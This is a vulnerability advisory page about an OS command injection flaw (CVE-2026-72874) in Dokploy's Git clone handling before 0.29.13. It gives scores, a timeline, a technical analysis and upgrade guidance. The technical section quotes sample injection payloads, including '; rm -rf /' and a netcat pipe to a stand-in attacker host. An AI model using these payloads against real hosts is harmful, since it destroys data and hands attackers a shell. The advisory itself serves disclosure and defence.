Which versions of Dokploy are affected by EUVD-2026-55739?

Dokploy deployment infrastructure is exposed to arbitrary code execution through authenticated users exploiting unsanitized input in git repository configuration.. A patch is available.

How to fix or mitigate EUVD-2026-55739?

Within 24 hours, identify all Dokploy deployments in production and staging environments and document current versions. Within 7 days, apply patches to upgrade all instances to Dokploy 0.29.13 or later. Within 30 days, audit user access to Dokploy, implement multi-factor authentication if not already in place, and review deployment logs for suspicious git repository configurations.

Dokploy EUVD-2026-55739

Q: What is the CVSS score of EUVD-2026-55739?

EUVD-2026-55739 has a CVSS 4.0 base score of 8.7 (High). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.4%.

| CVE-2026-72874 HIGH

OS Command Injection (CWE-78)

2026-08-10 GitHub_M

Command Injection Dokploy

8.7

CVSS 4.0 · Vendor: GitHub_M

Severity by source

Vendor (GitHub_M) PRIMARY

8.7 HIGH

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

vuln.today AI

8.8 HIGH

Network-reachable via Dokploy web/API, requires authenticated low-privileged account to configure custom Git URL, no user interaction beyond triggering deployment, full host compromise with no scope change.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Lifecycle Timeline

Patch available

Aug 10, 2026 - 20:04 EUVD

Source Code Evidence Fetched

Aug 10, 2026 - 19:48 vuln.today

Analysis Generated

Aug 10, 2026 - 19:48 vuln.today

CVE Published

Aug 10, 2026 - 18:57 cve.org

HIGH 8.7

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, cloneGitRepository in packages/server/src/utils/providers/git.ts interpolates customGitUrl and customGitBranch into a git clone command passed to execAsync or execAsyncRemote, allowing an authenticated user with application access to execute arbitrary operating system commands on the Dokploy host by setting a malicious custom Git URL and triggering deployment. This issue is fixed in version 0.29.13.

AnalysisAI

OS command injection in Dokploy before 0.29.13 allows any authenticated user with application access to execute arbitrary commands on the Dokploy host by supplying malicious values for customGitUrl or customGitBranch and triggering a deployment. The cloneGitRepository function in packages/server/src/utils/providers/git.ts interpolates these user-controlled parameters directly into shell commands passed to execAsync or execAsyncRemote without any quoting or escaping. No public exploit has been identified at time of analysis and the vulnerability is not in CISA KEV, but the attack class is trivially weaponizable and a confirmed patch is available in v0.29.13.

Technical ContextAI

Dokploy is a self-hostable PaaS that orchestrates application deployments, including cloning source repositories via Git. The vulnerable code in packages/server/src/utils/providers/git.ts builds shell command strings by directly concatenating user-supplied customGitUrl and customGitBranch values using template literals, then passes the resulting string to execAsync or execAsyncRemote for shell execution. CWE-78 (Improper Neutralization of Special Elements in an OS Command) is the root cause: without shell quoting, metacharacters such as semicolons, pipes, backticks, and $() subshell syntax in user input are interpreted by the shell as separate commands. The PR diff confirms the same unsanitized pattern existed in bitbucket.ts, gitea.ts, and the ssh-keyscan domain handler, indicating a systemic absence of shell escaping across multiple Git provider integrations. The fix introduces a shellWord() helper that single-quotes all user-controlled values, with test cases verifying payloads like $(touch /tmp/pwned), ; rm -rf /, and | nc attacker 4444 are neutralized to inert literal tokens.

RemediationAI

Upgrade to Dokploy v0.29.13 or later, which is confirmed available at https://github.com/Dokploy/dokploy/releases/tag/v0.29.13. The fix wraps all user-controlled values (customGitUrl, customGitBranch, outputPath, and SSH domain) with a shellWord() quoting helper before shell interpolation, as documented in PR #4855 (https://github.com/Dokploy/dokploy/pull/4855) and commit 47347ab885b0ad1f5d0ef0e5e74bbba35c7f93bc. If immediate upgrade is not feasible, restrict the ability to configure custom Git URLs and branch names to trusted administrator accounts only, effectively reducing the attack surface to highly privileged users - note this does not eliminate the underlying code vulnerability and is not a substitute for patching. No other compensating control can fully neutralize unsanitized shell interpolation without modifying the source code.